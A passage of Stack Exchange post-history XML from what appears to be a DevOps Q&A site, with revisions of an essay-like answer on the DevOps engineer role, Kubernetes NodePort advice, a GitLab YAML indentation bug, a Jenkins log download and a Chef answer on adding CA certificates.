  <row Id="32638" PostHistoryTypeId="5" PostId="10618" RevisionGUID="c57ffb93-9533-4252-bac6-ab560626fae1" CreationDate="2020-01-28T09:09:31.727" UserId="707" Comment="added 5 characters in body" Text="From &quot;how it should work&quot; perspective there is no real &quot;DevOps engineer&quot; because DevOps is a methodology/culture which emphasizes also on technical practices which should stretch across as many roles as possible and feasible.&#xD;&#xA;&#xD;&#xA;How can we apply the CALMS (Culture, Automation, Lean, Measure, Share) mantra here? (Taking into approach that depending on factors like maturity, complexity and resources in the context, approaches need to be adapted to what helps to solve problems in an efficient and sustainable way)&#xD;&#xA;&#xD;&#xA;* Requirements engineer: can I automatically qualify maturity of requirements and track their delivery?&#xD;&#xA;* Software engineer: what is required to run my software in test either productive environment?&#xD;&#xA;* Architect: can I have a big picture based on live metrics?&#xD;&#xA;* Tester: can I create virtual temporary infrastructure to support execution of my code?&#xD;&#xA;* System administrator: how can I better organize my help desk / 1st user support and leverage self-help / automation solutions?&#xD;&#xA;&#xD;&#xA;Somebody with a wish to focus on the methodology itself will be somewhere in-between all these guys and obviously become &quot;jack of everything, master of none&quot;. &#xD;&#xA;&#xD;&#xA;Given this, my consideration is:&#xD;&#xA;&#xD;&#xA;1. Please follow the instructions to setup VPN in this Wiki/code from this Git repo and if it's not working, document/show steps you have taken.&#xD;&#xA;2. Please share more details on the context (here is not clear who owns which parts).&#xD;&#xA;3. Let's allocate time to develop emergency plan for immediate action if required and also run scaling tests on a test system to model experiments, collect data and finally learn under which circumstances the performance problems appear. Then, we will know why it is happening. :-)&#xD;&#xA;4. Follow from 3.? What does mean schedule from your perspective and if you mean regular execution, how often? So please let's go back to previous item :-)&#xD;&#xA;5. Possibly, have you got more specs which infrastructure option (Cloud, on premises) should we use for that and what and what are you going to do? Here is a link to generic infrastructure planner, let's allocate time to discuss what is specific for Spark/Hadoop here and how will delivery to it look like.&#xD;&#xA;&#xD;&#xA;6. If identity management is not part of our architecture, let's assess what are you going to do. An outcome could be that you include creation of users to your database scripts. &#xD;&#xA;&#xD;&#xA;So the bottom line in DevOps culture regarding the role boundary is:&#xD;&#xA;&#xD;&#xA;- professional communication first&#xD;&#xA;- the boundary is to set boundaries inviting people to a professional conversation between adults, to get more conscious on both sides (!) about requirements, responsibilities and goals. Not just thinking in solutions and delegation but also make a plan and assess risks. &#xD;&#xA;&#xD;&#xA;Therefore seasoned and successful professionals who are today maybe 50+ yrs old say sometimes jokingly &quot;we have been doing DevOps from the very beginning&quot; and partly, they are right.&#xD;&#xA;&#xD;&#xA;To conclude and highlight and reflect on the real-world existence of such job-role, organizations who do not have a DevOps culture proceed to define DevOps roles as the following, for example:&#xD;&#xA;&#xD;&#xA;* DevOps engineer is an advanced systems administrator who can code up the infrastructure and automate it completely.&#xD;&#xA;* DevOps engineer is a tools administrator with coding skills to support the Dev team and ensure delivery towards production (CI/CD, deployment scripting but also Jira administration)&#xD;&#xA;* DevOps engineer is a developer focusing on including infrastructure elements into development, like containers and cloud APIs.&#xD;&#xA;&#xD;&#xA;After all, many still look for the &quot;full stack engineer&quot; who should obviously become additionally the DevOps engineer.&#xD;&#xA;&#xD;&#xA;Finally, the role boundary, possibly not only DevOps, but there indeed very likely:&#xD;&#xA;&#xD;&#xA;- is also in your responsibility&#xD;&#xA;- may change between projects and employers or just from time to time." ContentLicense="CC BY-SA 4.0" />
  <row Id="32639" PostHistoryTypeId="5" PostId="10618" RevisionGUID="f554363c-1b0c-443c-978b-80b41e1ab448" CreationDate="2020-01-28T09:17:34.277" UserId="707" Comment="added 5 characters in body" Text="From the &quot;how it should properly work&quot;/&quot;how it was meant&quot; perspective there is no real &quot;DevOps engineer&quot; because DevOps is a methodology/culture which emphasizes also on technical practices which should stretch across as many roles as possible and feasible.&#xD;&#xA;&#xD;&#xA;How can we apply the CALMS (Culture, Automation, Lean, Measure, Share) mantra here? (Taking into approach that depending on factors like maturity, complexity and resources in the context, approaches need to be adapted to what helps to solve problems in an efficient and sustainable way)&#xD;&#xA;&#xD;&#xA;* Requirements engineer: can I automatically qualify maturity of requirements and track their delivery?&#xD;&#xA;* Software engineer: what is required to run my software in test either productive environment?&#xD;&#xA;* Architect: can I have a big picture based on live metrics?&#xD;&#xA;* Tester: can I create virtual temporary infrastructure to support execution of my code?&#xD;&#xA;* System administrator: how can I better organize my help desk / 1st user support and leverage self-help / automation solutions?&#xD;&#xA;&#xD;&#xA;Somebody with a wish to focus on the methodology itself will be somewhere in-between all these guys and obviously become &quot;jack of everything, master of none&quot;. &#xD;&#xA;&#xD;&#xA;Given this, my consideration how I would approach your customers' inquiries could be:&#xD;&#xA;&#xD;&#xA;1. Please follow the instructions to setup VPN in this Wiki/code from this Git repo and if it's not working, document/show steps you have taken.&#xD;&#xA;2. Please share more details on the context (here is not clear who owns which parts).&#xD;&#xA;3. Let's allocate time to develop emergency plan for immediate action if required and also run scaling tests on a test system to model experiments, collect data and finally learn under which circumstances the performance problems appear. Then, we will know why it is happening. :-)&#xD;&#xA;4. Follow from 3.? What does mean schedule from your perspective and if you mean regular execution, how often? So please let's go back to previous item :-)&#xD;&#xA;5. Possibly, have you got more specs which infrastructure option (Cloud, on premises) should we use for that and what and what are you going to do? Here is a link to generic infrastructure planner, let's allocate time to discuss what is specific for Spark/Hadoop here and how will delivery to it look like.&#xD;&#xA;&#xD;&#xA;6. If identity management is not part of our architecture, let's assess what are you going to do. An outcome could be that you include creation of users to your database scripts. &#xD;&#xA;&#xD;&#xA;So the bottom line in DevOps culture regarding the role boundary is:&#xD;&#xA;&#xD;&#xA;- professional communication first&#xD;&#xA;- the boundary is to set boundaries inviting people to a professional conversation between adults, to get more conscious on both sides (!) about requirements, responsibilities and goals. Not just thinking in solutions and delegation but also make a plan and assess risks. &#xD;&#xA;&#xD;&#xA;Therefore seasoned and successful professionals who are today maybe 50+ yrs old say sometimes jokingly &quot;we have been doing DevOps from the very beginning&quot; and partly, they are right.&#xD;&#xA;&#xD;&#xA;To conclude and highlight and reflect on the real-world existence of such job-role, organizations who do not have a DevOps culture proceed to define DevOps roles as the following, for example:&#xD;&#xA;&#xD;&#xA;* DevOps engineer is an advanced systems administrator who can code up the infrastructure and automate it completely.&#xD;&#xA;* DevOps engineer is a tools administrator with coding skills to support the Dev team and ensure delivery towards production (CI/CD, deployment scripting but also Jira administration)&#xD;&#xA;* DevOps engineer is a developer focusing on including infrastructure elements into development, like containers and cloud APIs.&#xD;&#xA;&#xD;&#xA;After all, many companies still look for the &quot;full stack engineer&quot; who should obviously become additionally the DevOps engineer (along with ).&#xD;&#xA;&#xD;&#xA;Finally, the role boundary, possibly not only DevOps, but there indeed very likely:&#xD;&#xA;&#xD;&#xA;- is also in your responsibility&#xD;&#xA;- may change between projects and employers or just from time to time." ContentLicense="CC BY-SA 4.0" />
  <row Id="32640" PostHistoryTypeId="2" PostId="10622" RevisionGUID="bd4983af-cf89-4af5-8f59-7dc27b967ab5" CreationDate="2020-01-28T09:26:42.767" UserId="6775" Text="&#xD;&#xA;Some clarification first, &#xD;&#xA;the `ClusterIP` is only accessible inside the cluster this is not the right choice to solve your problem and the `LoadBalancer` depends on the integration with your network, real or virtual, to generate the correct resources and assign an IP address.&#xD;&#xA;&#xD;&#xA;With that said, an easy way open a service port should be to use services of type `NodePort` it assigns a port directly on the machine, the same way you do when you open ports on a Linux machine, but with the difference that all the process is managed by Kubernetes. In that scenario, you only need to worry about the routes between the networks managed on your router.&#xD;&#xA;&#xD;&#xA;You have more info about `NodePort` on the official Kubernetes documentation [here][1]&#xD;&#xA;&#xD;&#xA;But if you are trying to connect over `ssh` to the pod is not recommended to use a service definition because of security reasons. To achieve that the best to do it is using `kubectl exec`, next is an example:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;kubectl exec -it &lt;pod_name&gt; sh&#xD;&#xA;```&#xD;&#xA;With that simple command, you can connect to any pod on your cluster and you can change `sh` with the prompt you prefer that is present on the container.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/services-networking/service/#nodeport" ContentLicense="CC BY-SA 4.0" />
  <row Id="32641" PostHistoryTypeId="5" PostId="10618" RevisionGUID="f74e5e68-9b0d-43df-bea3-103ecaa91387" CreationDate="2020-01-28T09:42:21.580" UserId="707" Comment="added 31 characters in body" Text="From the &quot;how it should properly work&quot;/&quot;how it was meant&quot; perspective there is no real &quot;DevOps engineer&quot; because DevOps is a methodology/culture which emphasizes also on technical practices which should stretch across as many roles as possible and feasible.&#xD;&#xA;&#xD;&#xA;How can we apply the CALMS (Culture, Automation, Lean, Measure, Share) mantra here? (Taking into approach that depending on factors like maturity, complexity and resources in the context, approaches need to be adapted to what helps to solve problems in an efficient and sustainable way)&#xD;&#xA;&#xD;&#xA;* Requirements engineer: can I automatically qualify maturity of requirements and track their delivery?&#xD;&#xA;* Software engineer: what is required to run my software in test either productive environment?&#xD;&#xA;* Architect: can I have a big picture based on live metrics?&#xD;&#xA;* Tester: can I create virtual temporary infrastructure to support execution of my code?&#xD;&#xA;* System administrator: how can I better organize my help desk / 1st user support and leverage self-help / automation solutions?&#xD;&#xA;&#xD;&#xA;Somebody with a wish to focus on the methodology itself will be somewhere in-between all these guys and obviously become &quot;jack of everything, master of none&quot;. &#xD;&#xA;&#xD;&#xA;Given this, my consideration how I would approach your customers' inquiries could be:&#xD;&#xA;&#xD;&#xA;1. Please follow the instructions to setup VPN in this Wiki/code from this Git repo and if it's not working, document/show steps you have taken.&#xD;&#xA;2. Please share more details on the context (here is not clear who owns which parts).&#xD;&#xA;3. Let's allocate time to develop emergency plan for immediate action if required and also run scaling tests on a test system to model experiments, collect data and finally learn under which circumstances the performance problems appear. Then, we will know why it is happening. :-)&#xD;&#xA;4. Follow from 3.? What does mean schedule from your perspective and if you mean regular execution, how often? So please let's go back to previous item :-)&#xD;&#xA;5. Possibly, have you got more specs which infrastructure option (Cloud, on premises) should we use for that and what and what are you going to do? Here is a link to generic infrastructure planner, let's allocate time to discuss what is specific for Spark/Hadoop here and how will delivery to it look like.&#xD;&#xA;&#xD;&#xA;6. If identity management is not part of our architecture, let's assess what are you going to do. An outcome could be that you include creation of users to your database scripts. &#xD;&#xA;&#xD;&#xA;So the bottom line in DevOps culture regarding the role boundary is:&#xD;&#xA;&#xD;&#xA;- professional communication first&#xD;&#xA;- the boundary is to set boundaries inviting people to a professional conversation between adults, to get more conscious on both sides (!) about requirements, responsibilities and goals. Not just thinking in solutions and delegation but also make a plan and assess risks. &#xD;&#xA;&#xD;&#xA;Therefore seasoned and successful professionals who are today maybe 50+ yrs old say sometimes jokingly &quot;we have been doing DevOps from the very beginning&quot; and partly, they are right.&#xD;&#xA;&#xD;&#xA;To conclude and highlight and reflect on the real-world existence of such job-role, organizations who do not have a DevOps culture proceed to define DevOps roles as the following, for example:&#xD;&#xA;&#xD;&#xA;* DevOps engineer is an advanced systems administrator who can code up the infrastructure and automate it completely.&#xD;&#xA;* DevOps engineer is a tools administrator with coding skills to support the Dev team and ensure delivery towards production (CI/CD, deployment scripting but also Jira administration)&#xD;&#xA;* DevOps engineer is a developer focusing on including infrastructure elements into development, like containers and cloud APIs.&#xD;&#xA;&#xD;&#xA;After all, many companies still look for the &quot;full stack engineer&quot; who should obviously become additionally the DevOps engineer (along with &quot;AI/ML,  blockchain and foobar&quot;).&#xD;&#xA;&#xD;&#xA;Finally, the role boundary, possibly not only DevOps, but there indeed very likely:&#xD;&#xA;&#xD;&#xA;- is also in your responsibility&#xD;&#xA;- may change between projects and employers or just from time to time." ContentLicense="CC BY-SA 4.0" />
  <row Id="32642" PostHistoryTypeId="5" PostId="10622" RevisionGUID="242d519f-fc23-4dd8-a783-88ada7ef2de5" CreationDate="2020-01-28T15:18:52.487" UserId="6775" Comment="deleted 136 characters in body" Text="Some clarification first, &#xD;&#xA;the `ClusterIP` is only accessible inside the cluster this is not the right choice to solve your problem and the `LoadBalancer` depends on the integration with your network, real or virtual, to generate the correct resources and assign an IP address.&#xD;&#xA;&#xD;&#xA;With that said, an easy way open a service port should be to use services of type `NodePort` it assigns a port directly on the machine, the same way you do when you open ports on a Linux machine, but with the difference that all the process is managed by Kubernetes. In that scenario, you only need to worry about the routes between the networks managed on your router.&#xD;&#xA;&#xD;&#xA;You have more info about `NodePort` on the official Kubernetes documentation [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATED**&#xD;&#xA;&#xD;&#xA;As per the last comments, for the use case, the use of `NodePort` should work and probably is a good option to use some DNS management like [external-dns][2] to not worry about how to setup the right IP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/services-networking/service/#nodeport&#xD;&#xA;  [2]: https://github.com/kubernetes-sigs/external-dns" ContentLicense="CC BY-SA 4.0" />
  <row Id="32649" PostHistoryTypeId="2" PostId="10625" RevisionGUID="8f74c049-4994-4d5d-8d51-8d91dc0505aa" CreationDate="2020-01-28T15:43:22.043" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="32650" PostHistoryTypeId="1" PostId="10625" RevisionGUID="8f74c049-4994-4d5d-8d51-8d91dc0505aa" CreationDate="2020-01-28T15:43:22.043" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32651" PostHistoryTypeId="2" PostId="10626" RevisionGUID="84cc06dc-fea9-4cc7-82a7-9db25b00a35e" CreationDate="2020-01-28T15:43:22.043" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="32652" PostHistoryTypeId="1" PostId="10626" RevisionGUID="84cc06dc-fea9-4cc7-82a7-9db25b00a35e" CreationDate="2020-01-28T15:43:22.043" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32653" PostHistoryTypeId="5" PostId="10626" RevisionGUID="2865adfc-36dd-4969-b587-75d8f243cfaa" CreationDate="2020-01-28T18:09:15.183" UserId="19360" Comment="added 87 characters in body" Text="Azure Pipelines is a proprietary Microsoft CI solution for deploying your applications." ContentLicense="CC BY-SA 4.0" />
  <row Id="32654" PostHistoryTypeId="24" PostId="10626" RevisionGUID="2865adfc-36dd-4969-b587-75d8f243cfaa" CreationDate="2020-01-28T18:09:15.183" Comment="Proposed by 19360 approved by -1 edit id of 1140" ContentLicense="CC BY-SA 4.0" />
  <row Id="32655" PostHistoryTypeId="5" PostId="10626" RevisionGUID="0b3a8027-c8bb-461f-a808-8b965a72f0cf" CreationDate="2020-01-28T18:09:15.183" UserId="40" Comment="added 27 characters in body" Text="For questions about Azure Pipelines, which is a proprietary Microsoft CI solution for deploying your applications." ContentLicense="CC BY-SA 4.0" />
  <row Id="32657" PostHistoryTypeId="5" PostId="10618" RevisionGUID="dace0d92-f3e0-4ec1-8fdd-b736675a9e32" CreationDate="2020-01-28T20:34:34.263" UserId="707" Comment="edited body" Text="From the &quot;how it should properly work&quot;/&quot;how it was meant&quot; perspective there is no real &quot;DevOps engineer&quot; because DevOps is a methodology/culture which emphasizes also on technical practices which should stretch across as many roles as possible and feasible.&#xD;&#xA;&#xD;&#xA;How can we apply the CALMS (Culture, Automation, Lean, Measure, Share) mantra here? (Taking into approach that depending on factors like maturity, complexity and resources in the context, approaches need to be adapted to what helps to solve problems in an efficient and sustainable way)&#xD;&#xA;&#xD;&#xA;* Requirements engineer: can I automatically qualify maturity of requirements and track their delivery?&#xD;&#xA;* Software engineer: what is required to run my software in test either productive environment?&#xD;&#xA;* Architect: can I have a big picture based on live metrics?&#xD;&#xA;* Tester: can I create virtual temporary infrastructure to support execution of my code?&#xD;&#xA;* System administrator: how can I better organize my help desk / 1st user support and leverage self-help / automation solutions?&#xD;&#xA;&#xD;&#xA;Somebody with a wish to focus on the methodology itself will be somewhere in-between all these guys and obviously become &quot;jack of all trades, master of none&quot;. &#xD;&#xA;&#xD;&#xA;Given this, my consideration how I would approach your customers' inquiries could be:&#xD;&#xA;&#xD;&#xA;1. Please follow the instructions to setup VPN in this Wiki/code from this Git repo and if it's not working, document/show steps you have taken.&#xD;&#xA;2. Please share more details on the context (here is not clear who owns which parts).&#xD;&#xA;3. Let's allocate time to develop emergency plan for immediate action if required and also run scaling tests on a test system to model experiments, collect data and finally learn under which circumstances the performance problems appear. Then, we will know why it is happening. :-)&#xD;&#xA;4. Follow from 3.? What does mean schedule from your perspective and if you mean regular execution, how often? So please let's go back to previous item :-)&#xD;&#xA;5. Possibly, have you got more specs which infrastructure option (Cloud, on premises) should we use for that and what and what are you going to do? Here is a link to generic infrastructure planner, let's allocate time to discuss what is specific for Spark/Hadoop here and how will delivery to it look like.&#xD;&#xA;&#xD;&#xA;6. If identity management is not part of our architecture, let's assess what are you going to do. An outcome could be that you include creation of users to your database scripts. &#xD;&#xA;&#xD;&#xA;So the bottom line in DevOps culture regarding the role boundary is:&#xD;&#xA;&#xD;&#xA;- professional communication first&#xD;&#xA;- the boundary is to set boundaries inviting people to a professional conversation between adults, to get more conscious on both sides (!) about requirements, responsibilities and goals. Not just thinking in solutions and delegation but also make a plan and assess risks. &#xD;&#xA;&#xD;&#xA;Therefore seasoned and successful professionals who are today maybe 50+ yrs old say sometimes jokingly &quot;we have been doing DevOps from the very beginning&quot; and partly, they are right.&#xD;&#xA;&#xD;&#xA;To conclude and highlight and reflect on the real-world existence of such job-role, organizations who do not have a DevOps culture proceed to define DevOps roles as the following, for example:&#xD;&#xA;&#xD;&#xA;* DevOps engineer is an advanced systems administrator who can code up the infrastructure and automate it completely.&#xD;&#xA;* DevOps engineer is a tools administrator with coding skills to support the Dev team and ensure delivery towards production (CI/CD, deployment scripting but also Jira administration)&#xD;&#xA;* DevOps engineer is a developer focusing on including infrastructure elements into development, like containers and cloud APIs.&#xD;&#xA;&#xD;&#xA;After all, many companies still look for the &quot;full stack engineer&quot; who should obviously become additionally the DevOps engineer (along with &quot;AI/ML,  blockchain and foobar&quot;).&#xD;&#xA;&#xD;&#xA;Finally, the role boundary, possibly not only DevOps, but there indeed very likely:&#xD;&#xA;&#xD;&#xA;- is also in your responsibility&#xD;&#xA;- may change between projects and employers or just from time to time." ContentLicense="CC BY-SA 4.0" />
  <row Id="32658" PostHistoryTypeId="2" PostId="10627" RevisionGUID="8daf4310-a0b2-4c8c-b1ae-e45c811bbe0a" CreationDate="2020-01-28T21:46:00.477" UserId="11236" Text="AFAIK, there is no boundary for DevOps engineer. When it comes to questions you have put together, it is general misconception to consider DevOps engineer as administrators. &#xD;&#xA;&#xD;&#xA;DevOps is change in culture, change in mindset and change in approach. &#xD;&#xA;&#xD;&#xA;DevOps culture fills the gaps development and operations. &#xD;&#xA;&#xD;&#xA;DevOps mindset allows engineers to try out of the box combinations to explore tools, technology, services to fasten the process to test, build and deploy product.&#xD;&#xA;&#xD;&#xA;DevOps approach will allow engineers to come out of sticking to certain role and explore. " ContentLicense="CC BY-SA 4.0" />
  <row Id="32659" PostHistoryTypeId="2" PostId="10628" RevisionGUID="42946c9b-192b-473f-ac3b-358525942b14" CreationDate="2020-01-28T21:54:15.813" UserId="10715" Text="I have been working on deployment of a GitLab container with Ansible.&#xD;&#xA;&#xD;&#xA;At one point the whole thing broke with a terribly unspecific error message. After that point the container kept rebooting about once a minute.&#xD;&#xA;&#xD;&#xA;The `docker logs &lt;container&gt;` command gave me the following output:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Thank you for using GitLab Docker Image!&#xD;&#xA;Current version: gitlab-ce=12.7.2-ce.0&#xD;&#xA;&#xD;&#xA;Configure GitLab for your system by editing /etc/gitlab/gitlab.rb file&#xD;&#xA;And restart this container to reload settings.&#xD;&#xA;To do it use docker exec:&#xD;&#xA;&#xD;&#xA;  docker exec -it gitlab vim /etc/gitlab/gitlab.rb&#xD;&#xA;  docker restart gitlab&#xD;&#xA;&#xD;&#xA;For a comprehensive list of configuration options please see the Omnibus GitLab readme&#xD;&#xA;https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/README.md&#xD;&#xA;&#xD;&#xA;If this container fails to start due to permission problems try to fix it by executing:&#xD;&#xA;&#xD;&#xA;  docker exec -it gitlab update-permissions&#xD;&#xA;  docker restart gitlab&#xD;&#xA;&#xD;&#xA;Cleaning stale PIDs &amp; sockets&#xD;&#xA;Preparing services...&#xD;&#xA;Starting services...&#xD;&#xA;Configuring GitLab...&#xD;&#xA;/opt/gitlab/embedded/bin/runsvdir-start: line 37: /proc/sys/fs/file-max: Read-only file system&#xD;&#xA;Starting Chef Client, version 14.14.29&#xD;&#xA;resolving cookbooks for run list: [&quot;gitlab&quot;]&#xD;&#xA;Synchronizing Cookbooks:&#xD;&#xA;  - postgresql (0.1.0)&#xD;&#xA;  - registry (0.1.0)&#xD;&#xA;  - mattermost (0.1.0)&#xD;&#xA;  - consul (0.1.0)&#xD;&#xA;  - gitaly (0.1.0)&#xD;&#xA;  - gitlab (0.0.1)&#xD;&#xA;  - letsencrypt (0.1.0)&#xD;&#xA;  - runit (4.3.0)&#xD;&#xA;  - crond (0.1.0)&#xD;&#xA;  - redis (0.1.0)&#xD;&#xA;  - nginx (0.1.0)&#xD;&#xA;  - acme (4.0.0)&#xD;&#xA;  - package (0.1.0)&#xD;&#xA;  - monitoring (0.1.0)&#xD;&#xA;  - praefect (0.1.0)&#xD;&#xA;Installing Cookbook Gems:&#xD;&#xA;Compiling Cookbooks...&#xD;&#xA;&#xD;&#xA;================================================================================&#xD;&#xA;Recipe Compile Error in /opt/gitlab/embedded/cookbooks/cache/cookbooks/gitlab/recipes/default.rb&#xD;&#xA;================================================================================&#xD;&#xA;&#xD;&#xA;Psych::SyntaxError&#xD;&#xA;------------------&#xD;&#xA;(&lt;unknown&gt;): did not find expected key while parsing a block mapping at line 2 column 5&#xD;&#xA;&#xD;&#xA;Cookbook Trace:&#xD;&#xA;---------------&#xD;&#xA;  /opt/gitlab/embedded/cookbooks/cache/cookbooks/package/libraries/helpers/settings_helper.rb:105:in `block in from_file'&#xD;&#xA;  /opt/gitlab/embedded/cookbooks/cache/cookbooks/package/libraries/config_mash.rb:29:in `auto_vivify'&#xD;&#xA;  /opt/gitlab/embedded/cookbooks/cache/cookbooks/package/libraries/helpers/settings_helper.rb:105:in `from_file'&#xD;&#xA;  /opt/gitlab/embedded/cookbooks/cache/cookbooks/package/libraries/helpers/settings_helper.rb:105:in `block in from_file'&#xD;&#xA;  /opt/gitlab/embedded/cookbooks/cache/cookbooks/package/libraries/config_mash.rb:29:in `auto_vivify'&#xD;&#xA;  /opt/gitlab/embedded/cookbooks/cache/cookbooks/package/libraries/helpers/settings_helper.rb:105:in `from_file'&#xD;&#xA;  /opt/gitlab/embedded/cookbooks/cache/cookbooks/gitlab/recipes/config.rb:22:in `from_file'&#xD;&#xA;  /opt/gitlab/embedded/cookbooks/cache/cookbooks/gitlab/recipes/default.rb:26:in `from_file'&#xD;&#xA;&#xD;&#xA;Relevant File Content:&#xD;&#xA;----------------------&#xD;&#xA;/opt/gitlab/embedded/cookbooks/cache/cookbooks/package/libraries/helpers/settings_helper.rb:&#xD;&#xA;&#xD;&#xA; 98:&#xD;&#xA; 99:    def from_file(_file_path)&#xD;&#xA;100:      # Throw errors for unrecognized top level calls (usually spelling mistakes)&#xD;&#xA;101:      config_strict_mode true&#xD;&#xA;102:      # Turn on node deprecation messages&#xD;&#xA;103:      Gitlab::Deprecations::NodeAttribute.log_deprecations = true&#xD;&#xA;104:      # Allow auto mash creation during from_file call&#xD;&#xA;105&gt;&gt;     Gitlab::ConfigMash.auto_vivify { super }&#xD;&#xA;106:    ensure&#xD;&#xA;107:      config_strict_mode false&#xD;&#xA;108:      Gitlab::Deprecations::NodeAttribute.log_deprecations = false&#xD;&#xA;109:    end&#xD;&#xA;110:&#xD;&#xA;111:    # Enhance set so strict mode errors aren't thrown as long as the setting is witin our defined config&#xD;&#xA;112:    def internal_set(symbol, value)&#xD;&#xA;113:      if configuration.key?(symbol)&#xD;&#xA;114:        configuration[symbol] = value&#xD;&#xA;&#xD;&#xA;System Info:&#xD;&#xA;------------&#xD;&#xA;chef_version=14.14.29&#xD;&#xA;platform=ubuntu&#xD;&#xA;platform_version=16.04&#xD;&#xA;ruby=ruby 2.6.5p114 (2019-10-01 revision 67812) [x86_64-linux]&#xD;&#xA;program_name=/opt/gitlab/embedded/bin/chef-client&#xD;&#xA;executable=/opt/gitlab/embedded/bin/chef-client&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Running handlers:&#xD;&#xA;There was an error running gitlab-ctl reconfigure:&#xD;&#xA;&#xD;&#xA;(&lt;unknown&gt;): did not find expected key while parsing a block mapping at line 2 column 5&#xD;&#xA;&#xD;&#xA;Running handlers complete&#xD;&#xA;Chef Client failed. 0 resources updated in 01 seconds&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32660" PostHistoryTypeId="1" PostId="10628" RevisionGUID="42946c9b-192b-473f-ac3b-358525942b14" CreationDate="2020-01-28T21:54:15.813" UserId="10715" Text="Containerized (official) GitLab CE starts and ends up in a boot loop with LDAP configuration" ContentLicense="CC BY-SA 4.0" />
  <row Id="32661" PostHistoryTypeId="3" PostId="10628" RevisionGUID="42946c9b-192b-473f-ac3b-358525942b14" CreationDate="2020-01-28T21:54:15.813" UserId="10715" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32662" PostHistoryTypeId="2" PostId="10629" RevisionGUID="28618728-2717-4d58-96b7-e7b249c6be82" CreationDate="2020-01-28T21:54:15.813" UserId="10715" Text="While someone with knowledge about the innards of GitLab may have known what the error pointed to, it took me some time and bisecting my revision history to find the root cause.&#xD;&#xA;&#xD;&#xA;I had introduced a Jinja2 conditional like this in the inlined YAML for LDAP servers:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;gitlab_rails['ldap_servers'] = YAML.load &lt;&lt;-EOS # remember to close this block with 'EOS' below&#xD;&#xA;main: # 'main' is the GitLab 'provider ID' of this LDAP server&#xD;&#xA;  {% if some_variable is defined %}&#xD;&#xA;  key: value&#xD;&#xA;  {% endif %}&#xD;&#xA;EOS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The `# remember to close this block with 'EOS' below` remark isn't the only caveat you have to worry about here. Indentation is too, as I found out.&#xD;&#xA;&#xD;&#xA;Provided the condition became true, the about would have evaluated to:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;gitlab_rails['ldap_servers'] = YAML.load &lt;&lt;-EOS # remember to close this block with 'EOS' below&#xD;&#xA;main: # 'main' is the GitLab 'provider ID' of this LDAP server&#xD;&#xA;    key: value&#xD;&#xA;  EOS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;... where the additional indentation tripped up the YAML parser and caused the unspecific error symptoms (and message).&#xD;&#xA;&#xD;&#xA;Hope this helps someone else to avoid a lengthy analysis of the cause, if they run into a similar condition." ContentLicense="CC BY-SA 4.0" />
  <row Id="32663" PostHistoryTypeId="2" PostId="10630" RevisionGUID="0394a142-c87a-45c8-a798-0e4855e8d46b" CreationDate="2020-01-28T23:14:39.020" UserId="19369" Text="For Windows you could use `curl` in a powershell prompt:&#xD;&#xA;&#xD;&#xA;    curl  ${BUILD_URL}\consoleText -OutFile C:\SomeLocation\SomeFile.txt" ContentLicense="CC BY-SA 4.0" />
  <row Id="32664" PostHistoryTypeId="5" PostId="19" RevisionGUID="86568237-d238-42e5-b03d-1dfed919dda2" CreationDate="2020-01-29T04:21:12.067" UserId="-1" Comment="sentence missing an object" Text="We do use an internal Certificate Authority to create server certificates in my company.&#xD;&#xA;&#xD;&#xA;We also have to deal with a transparent proxy doing SSL interception (MITM).&#xD;&#xA;&#xD;&#xA;I regularly encounter SSL validation errors due to Chef not knowing the CA  certificate, and sometimes it's the tooling around chef itself (berkshelf, knife; even chef client itself when talking to the server for the first time since chef 12 enables SSL by default).&#xD;&#xA;&#xD;&#xA;Question is: How do I make Chef aware of my CA certificate to get valid SSL exchanges ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32665" PostHistoryTypeId="24" PostId="19" RevisionGUID="86568237-d238-42e5-b03d-1dfed919dda2" CreationDate="2020-01-29T04:21:12.067" Comment="Proposed by 192.47.255.254|99303ec1-d818-4491-8972-11d9879b4c3e approved by 46 edit id of 1141" ContentLicense="CC BY-SA 4.0" />
  <row Id="32666" PostHistoryTypeId="5" PostId="20" RevisionGUID="73fbf0f6-c048-4711-bab6-ba2775844cb8" CreationDate="2020-01-29T04:21:20.297" UserId="-1" Comment="adding objects and articles, standard delocalization" Text="There's a couple of way to achieve the result:&#xD;&#xA;&#xD;&#xA; 1. Chef has a `trusted_dir` to allow adding certificate to the trusted list. the [documentation](https://docs.chef.io/chef_client_security.html#ssl-certificates) has a lot of details about it. Adding your CA certificate to this directory would solve the problem. `knife` has it also in a slightly different path as per it's own [documentation](https://docs.chef.io/knife_ssl_fetch.html)&#xD;&#xA;&#xD;&#xA; 2. Chef use its own CA certiticate list in `/opt/chef/embedded/ssl/certs/cacert.pem`. &#xD;&#xA;You can add your CA certificate at end of this list to trust it. &#xD;&#xA;&#xD;&#xA;The second option has an advantage of allowing you to export the environment variable `SSL_CERT_FILE` pointing to chef `cacert.pem` to allow most of the tools using `openssl` library to know your CA certificate.&#xD;&#xA;&#xD;&#xA;For the case of a self signed certificate on the chef server (or another server used as target in a recipe), `knife ssl_fetch` would allow all knife commands to work.&#xD;&#xA;&#xD;&#xA;To add the server certificate to the cacert.pem for the case 2. above, you can use the following command:&#xD;&#xA;&#xD;&#xA;    # For a self signed CA certiticate&#xD;&#xA;    openssl s_client -showcerts -connect &lt;YOUR_CHEF_SERVER&gt;:443 &lt;/dev/null 2&gt;/dev/null|openssl x509 -outform PEM &gt;&gt; /opt/chefdk/embedded/ssl/certs/cacert.pem&#xD;&#xA;    